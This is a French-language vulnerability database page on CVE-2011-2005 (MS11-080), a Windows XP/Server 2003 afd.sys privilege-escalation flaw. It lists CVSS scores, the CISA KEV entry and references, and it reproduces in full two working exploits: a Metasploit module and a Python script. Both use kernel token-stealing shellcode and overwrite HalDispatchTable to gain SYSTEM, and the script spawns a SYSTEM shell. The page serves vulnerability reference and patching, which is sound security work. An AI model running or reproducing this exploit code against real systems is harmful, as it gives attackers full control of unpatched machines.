CVE-2011-2005
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Descriptions du CVE
afd.sys in the Ancillary Function Driver in Microsoft Windows XP SP2 and SP3 and Server 2003 SP2 does not properly validate user-mode input passed to kernel mode, which allows local users to gain privileges via a crafted application, aka "Ancillary Function Driver Elevation of Privilege Vulnerability."
Informations du CVE
Faiblesses connexes
| Nom de la faiblesse | Source | |
|---|---|---|
| No informations. |
Métriques
| Métriques | Score | Gravité | CVSS Vecteur | Source |
|---|---|---|---|---|
| V3.1 | 7.8 | HIGH |
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
More informations
Base: Exploitabilty MetricsThe Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack Vector This metric reflects the context by which vulnerability exploitation is possible. Local The vulnerable component is not bound to the network stack and the attacker’s path is via read/write/execute capabilities. Attack Complexity This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability. Low Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component. Privileges Required This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. None The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack. User Interaction This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component. Required Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator. Base: Scope MetricsThe Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope. Scope Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs. Unchanged An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority. Base: Impact MetricsThe Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve. Confidentiality Impact This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. High There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server. Integrity Impact This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. High There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component. Availability Impact This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. High There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable). Temporal MetricsThe Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability. Environmental MetricsThese metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability. |
nvd@nist.gov |
| V2 | 7.2 | AV:L/AC:L/Au:N/C:C/I:C/A:C | nvd@nist.gov |
CISA KEV (Vulnérabilités Exploitées Connues)
Nom de la vulnérabilité : Microsoft Ancillary Function Driver (afd.sys) Improper Input Validation Vulnerability
Action requise : Apply updates per vendor instructions.
Connu pour être utilisé dans des campagnes de ransomware : Unknown
Ajouter le : 2022-03-27 22h00 +00:00
Action attendue : 2022-04-17 22h00 +00:00
Informations importantes
Ce CVE est identifié comme vulnérable et constitue une menace active, selon le Catalogue des Vulnérabilités Exploitées Connues (CISA KEV). La CISA a répertorié cette vulnérabilité comme étant activement exploitée par des cybercriminels, soulignant ainsi l'importance de prendre des mesures immédiates pour remédier à cette faille. Il est impératif de prioriser la mise à jour et la correction de ce CVE afin de protéger les systèmes contre les potentielles cyberattaques.
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Informations sur l'Exploit
Exploit Database EDB-ID : 21844
Date de publication : 2012-10-09 22h00 +00:00
Auteur : Metasploit
EDB Vérifié : Yes
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
require 'rex'
require 'msf/core/post/common'
require 'msf/core/post/windows/priv'
class Metasploit3 < Msf::Exploit::Local
Rank = AverageRanking
# Average because this module relies on memory corruption within the
# kernel, this is inherently dangerous. Also if the payload casues
# the system process that it was injected into to die then it's also
# possible that the system may become unstable.
include Msf::Post::Common
include Msf::Post::Windows::Priv
def initialize(info={})
super(update_info(info, {
'Name' => 'MS11-080 AfdJoinLeaf Privilege Escalation',
'Description' => %q{
This module exploits a flaw in the AfdJoinLeaf function of the
afd.sys driver to overwrite data in kernel space. An address
within the HalDispatchTable is overwritten and when triggered
with a call to NtQueryIntervalProfile will execute shellcode.
This module will elevate itself to SYSTEM, then inject the payload
into another SYSTEM process before restoring it's own token to
avoid causing system instability.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Matteo Memelli', # original exploit and all the hard work
'Spencer McIntyre' # MSF module
],
'Arch' => [ ARCH_X86 ],
'Platform' => [ 'windows' ],
'SessionTypes' => [ 'meterpreter' ],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Targets' =>
[
[ 'Automatic', { } ],
[ 'Windows XP SP2 / SP3',
{
'HaliQuerySystemInfo' => 0x16bba,
'HalpSetSystemInformation' => 0x19436,
'_KPROCESS' => "\x44",
'_TOKEN' => "\xc8",
'_UPID' => "\x84",
'_APLINKS' => "\x88"
}
],
[ 'Windows Server 2003 SP2',
{
'HaliQuerySystemInfo' => 0x1fa1e,
'HalpSetSystemInformation' => 0x21c60,
'_KPROCESS' => "\x38",
'_TOKEN' => "\xd8",
'_UPID' => "\x94",
'_APLINKS' => "\x98"
}
],
],
'References' =>
[
[ 'CVE', '2011-2005' ],
[ 'MSB', 'MS11-080' ],
[ 'EDB', 18176 ],
[ 'URL', 'http://www.offensive-security.com/vulndev/ms11-080-voyage-into-ring-zero/' ]
],
'DisclosureDate'=> 'Nov 30 2011',
'DefaultTarget' => 0
}))
register_options([
])
end
def find_sys_base(drvname)
session.railgun.add_dll('psapi') if not session.railgun.dlls.keys.include?('psapi')
session.railgun.add_function('psapi', 'EnumDeviceDrivers', 'BOOL', [ ["PBLOB", "lpImageBase", "out"], ["DWORD", "cb", "in"], ["PDWORD", "lpcbNeeded", "out"]])
session.railgun.add_function('psapi', 'GetDeviceDriverBaseNameA', 'DWORD', [ ["LPVOID", "ImageBase", "in"], ["PBLOB", "lpBaseName", "out"], ["DWORD", "nSize", "in"]])
results = session.railgun.psapi.EnumDeviceDrivers(4096, 1024, 4)
addresses = results['lpImageBase'][0..results['lpcbNeeded'] - 1].unpack("L*")
addresses.each do |address|
results = session.railgun.psapi.GetDeviceDriverBaseNameA(address, 48, 48)
current_drvname = results['lpBaseName'][0..results['return'] - 1]
if drvname == nil
if current_drvname.downcase.include?('krnl')
return [address, current_drvname]
end
elsif drvname == results['lpBaseName'][0..results['return'] - 1]
return [address, current_drvname]
end
end
end
# Function borrowed from smart_hashdump
def get_system_proc
# Make sure you got the correct SYSTEM Account Name no matter the OS Language
local_sys = resolve_sid("S-1-5-18")
system_account_name = "#{local_sys[:domain]}\\#{local_sys[:name]}"
# Processes that can Blue Screen a host if migrated in to
dangerous_processes = ["lsass.exe", "csrss.exe", "smss.exe"]
session.sys.process.processes.each do |p|
# Check we are not migrating to a process that can BSOD the host
next if dangerous_processes.include?(p["name"])
next if p["pid"] == session.sys.process.getpid
next if p["pid"] == 4
next if p["user"] != system_account_name
return p
end
end
def exploit
if sysinfo["Architecture"] =~ /wow64/i
print_error("Running against WOW64 is not supported")
return
elsif sysinfo["Architectore"] =~ /x64/
print_error("Running against 64-bit systems is not supported")
return
end
mytarget = target
if mytarget.name =~ /Automatic/
os = sysinfo["OS"]
if os =~ /windows xp/i
mytarget = targets[1]
end
if ((os =~ /2003/) and (os =~ /service pack 2/i))
mytarget = targets[2]
end
if ((os =~ /\.net server/i) and (os =~ /service pack 2/i))
mytarget = targets[2]
end
if mytarget.name =~ /Automatic/
print_error("Could not identify the target system, it may not be supported")
return
end
print_status("Running against #{mytarget.name}")
end
if is_system?
print_error("This meterpreter session is already running as SYSTEM")
return
end
this_proc = session.sys.process.open
kernel_info = find_sys_base(nil)
base_addr = 0x1001
print_status("Kernel Base Address: 0x#{kernel_info[0].to_s(16)}")
result = session.railgun.ws2_32.WSASocketA("AF_INET", "SOCK_STREAM", "IPPROTO_TCP", nil, nil, 0)
socket = result['return']
irpstuff = rand_text_alpha(8)
irpstuff << "\x00\x00\x00\x00"
irpstuff << rand_text_alpha(4)
irpstuff << "\x01\x00\x00\x00"
irpstuff << "\xe8\x00" + "4" + "\xf0\x00"
irpstuff << rand_text_alpha(231)
if not this_proc.memory.writable?(0x1000)
session.railgun.add_function(
'ntdll',
'NtAllocateVirtualMemory',
'DWORD',
[
["DWORD", "ProcessHandle", "in"],
["PBLOB", "BaseAddress", "inout"],
["PDWORD", "ZeroBits", "in"],
["PBLOB", "RegionSize", "inout"],
["DWORD", "AllocationType", "in"],
["DWORD", "Protect", "in"]
])
result = session.railgun.ntdll.NtAllocateVirtualMemory(-1, [ base_addr ].pack("L"), nil, [ 0x1000 ].pack("L"), "MEM_COMMIT | MEM_RESERVE", "PAGE_EXECUTE_READWRITE")
end
if not this_proc.memory.writable?(0x1000)
print_error('Failed to properly allocate memory')
return
end
this_proc.memory.write(0x1000, irpstuff)
hKernel = session.railgun.kernel32.LoadLibraryExA(kernel_info[1], 0, 1)
hKernel = hKernel['return']
halDispatchTable = session.railgun.kernel32.GetProcAddress(hKernel, "HalDispatchTable")
halDispatchTable = halDispatchTable['return']
halDispatchTable -= hKernel
halDispatchTable += kernel_info[0]
print_status("HalDisPatchTable Address: 0x#{halDispatchTable.to_s(16)}")
halbase = find_sys_base("hal.dll")[0]
haliQuerySystemInformation = halbase + mytarget['HaliQuerySystemInfo']
halpSetSystemInformation = halbase + mytarget['HalpSetSystemInformation']
print_status("HaliQuerySystemInformation Address: 0x#{haliQuerySystemInformation.to_s(16)}")
print_status("HalpSetSystemInformation Address: 0x#{halpSetSystemInformation.to_s(16)}")
#### Exploitation ####
shellcode_address_dep = 0x0002071e
shellcode_address_nodep = 0x000207b8
padding = make_nops(2)
halDispatchTable0x4 = halDispatchTable + 0x4
halDispatchTable0x8 = halDispatchTable + 0x8
restore_ptrs = "\x31\xc0"
restore_ptrs << "\xb8" + [ halpSetSystemInformation ].pack("L")
restore_ptrs << "\xa3" + [ halDispatchTable0x8 ].pack("L")
restore_ptrs << "\xb8" + [ haliQuerySystemInformation ].pack("L")
restore_ptrs << "\xa3" + [ halDispatchTable0x4 ].pack("L")
tokenstealing = "\x52"
tokenstealing << "\x53"
tokenstealing << "\x33\xc0"
tokenstealing << "\x64\x8b\x80\x24\x01\x00\x00"
tokenstealing << "\x8b\x40" + mytarget['_KPROCESS']
tokenstealing << "\x8b\xc8"
tokenstealing << "\x8b\x98" + mytarget['_TOKEN'] + "\x00\x00\x00"
tokenstealing << "\x89\x1d\x00\x09\x02\x00"
tokenstealing << "\x8b\x80" + mytarget['_APLINKS'] + "\x00\x00\x00"
tokenstealing << "\x81\xe8" + mytarget['_APLINKS'] + "\x00\x00\x00"
tokenstealing << "\x81\xb8" + mytarget['_UPID'] + "\x00\x00\x00\x04\x00\x00\x00"
tokenstealing << "\x75\xe8"
tokenstealing << "\x8b\x90" + mytarget['_TOKEN'] + "\x00\x00\x00"
tokenstealing << "\x8b\xc1"
tokenstealing << "\x89\x90" + mytarget['_TOKEN'] + "\x00\x00\x00"
tokenstealing << "\x5b"
tokenstealing << "\x5a"
tokenstealing << "\xc2\x10"
restore_token = "\x52"
restore_token << "\x33\xc0"
restore_token << "\x64\x8b\x80\x24\x01\x00\x00"
restore_token << "\x8b\x40" + mytarget['_KPROCESS']
restore_token << "\x8b\x15\x00\x09\x02\x00"
restore_token << "\x89\x90" + mytarget['_TOKEN'] + "\x00\x00\x00"
restore_token << "\x5a"
restore_token << "\xc2\x10"
shellcode = padding + restore_ptrs + tokenstealing
this_proc.memory.write(shellcode_address_dep, shellcode)
this_proc.memory.write(shellcode_address_nodep, shellcode)
this_proc.memory.protect(0x00020000)
addr = [ 2, 4455, 0x7f000001, 0, 0 ].pack("s!S!L!L!L!")
result = session.railgun.ws2_32.connect(socket, addr, addr.length)
if result['return'] != 0xffffffff
print_error("The socket is not in the correct state")
return
end
session.railgun.add_function(
'ntdll',
'NtDeviceIoControlFile',
'DWORD',
[
[ "DWORD", "FileHandle", "in" ],
[ "DWORD", "Event", "in" ],
[ "DWORD", "ApcRoutine", "in" ],
[ "DWORD", "ApcContext", "in" ],
[ "PDWORD", "IoStatusBlock", "out" ],
[ "DWORD", "IoControlCode", "in" ],
[ "LPVOID", "InputBuffer", "in" ],
[ "DWORD", "InputBufferLength", "in" ],
[ "LPVOID", "OutputBuffer", "in" ],
[ "DWORD", "OutPutBufferLength", "in" ]
])
session.railgun.add_function(
'ntdll',
'NtQueryIntervalProfile',
'DWORD',
[
[ "DWORD", "ProfileSource", "in" ], [ "PDWORD", "Interval", "out" ]
])
print_status("Triggering AFDJoinLeaf pointer overwrite...")
result = session.railgun.ntdll.NtDeviceIoControlFile(socket, 0, 0, 0, 4, 0x000120bb, 0x1004, 0x108, halDispatchTable0x4 + 0x1, 0)
result = session.railgun.ntdll.NtQueryIntervalProfile(1337, 4)
if not is_system?
print_error("Exploit failed")
return
end
begin
proc = get_system_proc
print_status("Injecting the payload into SYSTEM process: #{proc["name"]} PID: #{proc["pid"]}")
host_process = client.sys.process.open(proc["pid"], PROCESS_ALL_ACCESS)
mem = host_process.memory.allocate(payload.encoded.length + (payload.encoded.length % 1024))
print_status("Writing #{payload.encoded.length} bytes at address #{"0x%.8x" % mem}")
host_process.memory.write(mem, payload.encoded)
host_process.thread.create(mem, 0)
rescue ::Exception => e
print_error("Failed to Inject Payload")
print_error(e.to_s)
end
# Restore the token because apparently BSODs are frowned upon
print_status("Restoring the original token...")
shellcode = padding + restore_ptrs + restore_token
this_proc.memory.write(shellcode_address_dep, shellcode)
this_proc.memory.write(shellcode_address_nodep, shellcode)
result = session.railgun.ntdll.NtDeviceIoControlFile(socket, 0, 0, 0, 4, 0x000120bb, 0x1004, 0x108, halDispatchTable0x4 + 0x1, 0)
result = session.railgun.ntdll.NtQueryIntervalProfile(1337, 4)
end
end
Exploit Database EDB-ID : 18176
Date de publication : 2011-11-29 23h00 +00:00
Auteur : ryujin
EDB Vérifié : Yes
################################################################################
######### MS11-080 - CVE-2011-2005 Afd.sys Privilege Escalation Exploit ########
######### Author: ryujin@offsec.com - Matteo Memelli ########
######### Spaghetti & Pwnsauce ########
######### yuck! 0xbaadf00d Elwood@mac&cheese.com ########
######### ########
######### Thx to dookie(lifesaver)2000ca, dijital1 and ronin ########
######### for helping out! ########
######### ########
######### To my Master Shifu muts: ########
######### "So that's it, I just need inner peace?" ;) ########
######### ########
######### Exploit tested on the following 32bits systems: ########
######### Win XPSP3 Eng, Win 2K3SP2 Standard/Enterprise Eng ########
################################################################################
from ctypes import (windll, CDLL, Structure, byref, sizeof, POINTER,
c_char, c_short, c_ushort, c_int, c_uint, c_ulong,
c_void_p, c_long, c_char_p)
from ctypes.wintypes import HANDLE, DWORD
import socket, time, os, struct, sys
from optparse import OptionParser
usage = "%prog -O TARGET_OS"
parser = OptionParser(usage=usage)
parser.add_option("-O", "--target-os", type="string",
action="store", dest="target_os",
help="Target OS. Accepted values: XP, 2K3")
(options, args) = parser.parse_args()
OS = options.target_os
if not OS or OS.upper() not in ['XP','2K3']:
parser.print_help()
sys.exit()
OS = OS.upper()
kernel32 = windll.kernel32
ntdll = windll.ntdll
Psapi = windll.Psapi
def findSysBase(drvname=None):
ARRAY_SIZE = 1024
myarray = c_ulong * ARRAY_SIZE
lpImageBase = myarray()
cb = c_int(1024)
lpcbNeeded = c_long()
drivername_size = c_long()
drivername_size.value = 48
Psapi.EnumDeviceDrivers(byref(lpImageBase), cb, byref(lpcbNeeded))
for baseaddy in lpImageBase:
drivername = c_char_p("\x00"*drivername_size.value)
if baseaddy:
Psapi.GetDeviceDriverBaseNameA(baseaddy, drivername,
drivername_size.value)
if drvname:
if drivername.value.lower() == drvname:
print "[+] Retrieving %s info..." % drvname
print "[+] %s base address: %s" % (drvname, hex(baseaddy))
return baseaddy
else:
if drivername.value.lower().find("krnl") !=-1:
print "[+] Retrieving Kernel info..."
print "[+] Kernel version:", drivername.value
print "[+] Kernel base address: %s" % hex(baseaddy)
return (baseaddy, drivername.value)
return None
print "[>] MS11-080 Privilege Escalation Exploit"
print "[>] Matteo Memelli - ryujin@offsec.com"
print "[>] Release Date 28/11/2011"
WSAGetLastError = windll.Ws2_32.WSAGetLastError
WSAGetLastError.argtypes = ()
WSAGetLastError.restype = c_int
SOCKET = c_int
WSASocket = windll.Ws2_32.WSASocketA
WSASocket.argtypes = (c_int, c_int, c_int, c_void_p, c_uint, DWORD)
WSASocket.restype = SOCKET
closesocket = windll.Ws2_32.closesocket
closesocket.argtypes = (SOCKET,)
closesocket.restype = c_int
connect = windll.Ws2_32.connect
connect.argtypes = (SOCKET, c_void_p, c_int)
connect.restype = c_int
class sockaddr_in(Structure):
_fields_ = [
("sin_family", c_short),
("sin_port", c_ushort),
("sin_addr", c_ulong),
("sin_zero", c_char * 8),
]
## Create our deviceiocontrol socket handle
client = WSASocket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_TCP,
None, 0, 0)
if client == ~0:
raise OSError, "WSASocket: %s" % (WSAGetLastError(),)
try:
addr = sockaddr_in()
addr.sin_family = socket.AF_INET
addr.sin_port = socket.htons(4455)
addr.sin_addr = socket.htonl(0x7f000001) # 127.0.0.1
## We need to connect to a closed port, socket state must be CONNECTING
connect(client, byref(addr), sizeof(addr))
except:
closesocket(client)
raise
baseadd = c_int(0x1001)
MEMRES = (0x1000 | 0x2000)
PAGEEXE = 0x00000040
Zerobits = c_int(0)
RegionSize = c_int(0x1000)
written = c_int(0)
## This will trigger the path to AfdRestartJoin
irpstuff = ("\x41\x41\x41\x41\x42\x42\x42\x42"
"\x00\x00\x00\x00\x44\x44\x44\x44"
"\x01\x00\x00\x00"
"\xe8\x00" + "4" + "\xf0\x00" + "\x45"*231)
## Allocate space for the input buffer
dwStatus = ntdll.NtAllocateVirtualMemory(-1,
byref(baseadd),
0x0,
byref(RegionSize),
MEMRES,
PAGEEXE)
# Copy input buffer to it
kernel32.WriteProcessMemory(-1, 0x1000, irpstuff, 0x100, byref(written))
startPage = c_int(0x00020000)
kernel32.VirtualProtect(startPage, 0x1000, PAGEEXE, byref(written))
################################# KERNEL INFO ##################################
lpDriver = c_char_p()
lpPath = c_char_p()
lpDrvAddress = c_long()
(krnlbase, kernelver) = findSysBase()
hKernel = kernel32.LoadLibraryExA(kernelver, 0, 1)
HalDispatchTable = kernel32.GetProcAddress(hKernel, "HalDispatchTable")
HalDispatchTable -= hKernel
HalDispatchTable += krnlbase
print "[+] HalDispatchTable address:", hex(HalDispatchTable)
halbase = findSysBase("hal.dll")
## WinXP SP3
if OS == "XP":
HaliQuerySystemInformation = halbase+0x16bba # Offset for XPSP3
HalpSetSystemInformation = halbase+0x19436 # Offset for XPSP3
## Win2k3 SP2
else:
HaliQuerySystemInformation = halbase+0x1fa1e # Offset for WIN2K3
HalpSetSystemInformation = halbase+0x21c60 # Offset for WIN2K3
print "[+] HaliQuerySystemInformation address:", hex(HaliQuerySystemInformation)
print "[+] HalpSetSystemInformation address:", hex(HalpSetSystemInformation)
################################# EXPLOITATION #################################
shellcode_address_dep = 0x0002071e
shellcode_address_nodep = 0x000207b8
padding = "\x90"*2
HalDispatchTable0x4 = HalDispatchTable + 0x4
HalDispatchTable0x8 = HalDispatchTable + 0x8
## tokenbkaddr = 0x00020900
if OS == "XP":
_KPROCESS = "\x44"
_TOKEN = "\xc8"
_UPID = "\x84"
_APLINKS = "\x88"
else:
_KPROCESS = "\x38"
_TOKEN = "\xd8"
_UPID = "\x94"
_APLINKS = "\x98"
restore_ptrs = "\x31\xc0" + \
"\xb8" + struct.pack("L", HalpSetSystemInformation) + \
"\xa3" + struct.pack("L", HalDispatchTable0x8) + \
"\xb8" + struct.pack("L", HaliQuerySystemInformation) + \
"\xa3" + struct.pack("L", HalDispatchTable0x4)
tokenstealing = "\x52" +\
"\x53" +\
"\x33\xc0" +\
"\x64\x8b\x80\x24\x01\x00\x00" +\
"\x8b\x40" + _KPROCESS +\
"\x8b\xc8" +\
"\x8b\x98" + _TOKEN + "\x00\x00\x00" +\
"\x89\x1d\x00\x09\x02\x00" +\
"\x8b\x80" + _APLINKS + "\x00\x00\x00" +\
"\x81\xe8" + _APLINKS + "\x00\x00\x00" +\
"\x81\xb8" + _UPID + "\x00\x00\x00\x04\x00\x00\x00" +\
"\x75\xe8" +\
"\x8b\x90" + _TOKEN + "\x00\x00\x00" +\
"\x8b\xc1" +\
"\x89\x90" + _TOKEN + "\x00\x00\x00" +\
"\x5b" +\
"\x5a" +\
"\xc2\x10"
restore_token = "\x52" +\
"\x33\xc0" +\
"\x64\x8b\x80\x24\x01\x00\x00" +\
"\x8b\x40" + _KPROCESS +\
"\x8b\x15\x00\x09\x02\x00" +\
"\x89\x90" + _TOKEN + "\x00\x00\x00" +\
"\x5a" +\
"\xc2\x10"
shellcode = padding + restore_ptrs + tokenstealing
shellcode_size = len(shellcode)
orig_size = shellcode_size
# Write shellcode in userspace (dep)
kernel32.WriteProcessMemory(-1, shellcode_address_dep, shellcode,
shellcode_size, byref(written))
# Write shellcode in userspace *(nodep)
kernel32.WriteProcessMemory(-1, shellcode_address_nodep, shellcode,
shellcode_size, byref(written))
## Trigger Pointer Overwrite
print "[*] Triggering AFDJoinLeaf pointer overwrite..."
IOCTL = 0x000120bb # AFDJoinLeaf
inputbuffer = 0x1004
inputbuffer_size = 0x108
outputbuffer_size = 0x0 # Bypass Probe for Write
outputbuffer = HalDispatchTable0x4 + 0x1 # HalDispatchTable+0x4+1
IoStatusBlock = c_ulong()
NTSTATUS = ntdll.ZwDeviceIoControlFile(client,
None,
None,
None,
byref(IoStatusBlock),
IOCTL,
inputbuffer,
inputbuffer_size,
outputbuffer,
outputbuffer_size
)
## Trigger shellcode
inp = c_ulong()
out = c_ulong()
inp = 0x1337
hola = ntdll.NtQueryIntervalProfile(inp, byref(out))
## Spawn a system shell, w00t!
print "[*] Spawning a SYSTEM shell..."
os.system("cmd.exe /T:C0 /K cd c:\\windows\\system32")
############################## POST EXPLOITATION ###############################
print "[*] Restoring token..."
## Restore the thingie
shellcode = padding + restore_ptrs + restore_token
shellcode_size = len(shellcode)
trail_padding = (orig_size - shellcode_size) * "\x00"
shellcode += trail_padding
shellcode_size += (orig_size - shellcode_size)
## Write restore shellcode in userspace (dep)
kernel32.WriteProcessMemory(-1, shellcode_address_dep, shellcode,
shellcode_size, byref(written))
## Write restore shellcode in userspace (nodep)
kernel32.WriteProcessMemory(-1, shellcode_address_nodep, shellcode,
shellcode_size, byref(written))
## Overwrite HalDispatchTable once again
NTSTATUS = ntdll.ZwDeviceIoControlFile(client,
None,
None,
None,
byref(IoStatusBlock),
IOCTL,
inputbuffer,
inputbuffer_size,
outputbuffer,
outputbuffer_size
)
## Trigger restore shellcode
hola = ntdll.NtQueryIntervalProfile(inp, byref(out))
print "[+] Restore done! Have a nice day :)"
Products Mentioned
Configuraton 0
Microsoft>>Windows_server_2003 >> Version -
- Microsoft>>Windows_server_2003 >> Version - (Open CPE detail)
- Microsoft>>Windows_server_2003 >> Version - (Open CPE detail)
- Microsoft>>Windows_server_2003 >> Version - (Open CPE detail)
- Microsoft>>Windows_server_2003 >> Version - (Open CPE detail)
- Microsoft>>Windows_server_2003 >> Version - (Open CPE detail)
- Microsoft>>Windows_server_2003 >> Version - (Open CPE detail)
- Microsoft>>Windows_server_2003 >> Version - (Open CPE detail)
- Microsoft>>Windows_server_2003 >> Version - (Open CPE detail)
- Microsoft>>Windows_server_2003 >> Version - (Open CPE detail)
- Microsoft>>Windows_server_2003 >> Version - (Open CPE detail)
- Microsoft>>Windows_server_2003 >> Version - (Open CPE detail)
- Microsoft>>Windows_server_2003 >> Version - (Open CPE detail)
- Microsoft>>Windows_server_2003 >> Version - (Open CPE detail)
- Microsoft>>Windows_server_2003 >> Version - (Open CPE detail)
- Microsoft>>Windows_server_2003 >> Version - (Open CPE detail)
- Microsoft>>Windows_server_2003 >> Version - (Open CPE detail)
- Microsoft>>Windows_server_2003 >> Version - (Open CPE detail)
- Microsoft>>Windows_server_2003 >> Version - (Open CPE detail)
- Microsoft>>Windows_server_2003 >> Version - (Open CPE detail)
- Microsoft>>Windows_server_2003 >> Version - (Open CPE detail)
Microsoft>>Windows_xp >> Version -
- Microsoft>>Windows_xp >> Version - (Open CPE detail)
Microsoft>>Windows_xp >> Version -
- Microsoft>>Windows_xp >> Version - (Open CPE detail)
- Microsoft>>Windows_xp >> Version - (Open CPE detail)
- Microsoft>>Windows_xp >> Version - (Open CPE detail)
- Microsoft>>Windows_xp >> Version - (Open CPE detail)
- Microsoft>>Windows_xp >> Version - (Open CPE detail)
- Microsoft>>Windows_xp >> Version - (Open CPE detail)
- Microsoft>>Windows_xp >> Version - (Open CPE detail)
- Microsoft>>Windows_xp >> Version - (Open CPE detail)
- Microsoft>>Windows_xp >> Version - (Open CPE detail)
- Microsoft>>Windows_xp >> Version - (Open CPE detail)
- Microsoft>>Windows_xp >> Version - (Open CPE detail)
- Microsoft>>Windows_xp >> Version - (Open CPE detail)
- Microsoft>>Windows_xp >> Version - (Open CPE detail)
- Microsoft>>Windows_xp >> Version - (Open CPE detail)
- Microsoft>>Windows_xp >> Version - (Open CPE detail)
- Microsoft>>Windows_xp >> Version - (Open CPE detail)
- Microsoft>>Windows_xp >> Version - (Open CPE detail)
- Microsoft>>Windows_xp >> Version - (Open CPE detail)
Références
https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A13114
Tags : vdb-entry, signature, x_refsource_OVAL
Tags : vdb-entry, signature, x_refsource_OVAL
https://docs.microsoft.com/en-us/security-updates/securitybulletins/2011/ms11-080
Tags : vendor-advisory, x_refsource_MS
Tags : vendor-advisory, x_refsource_MS
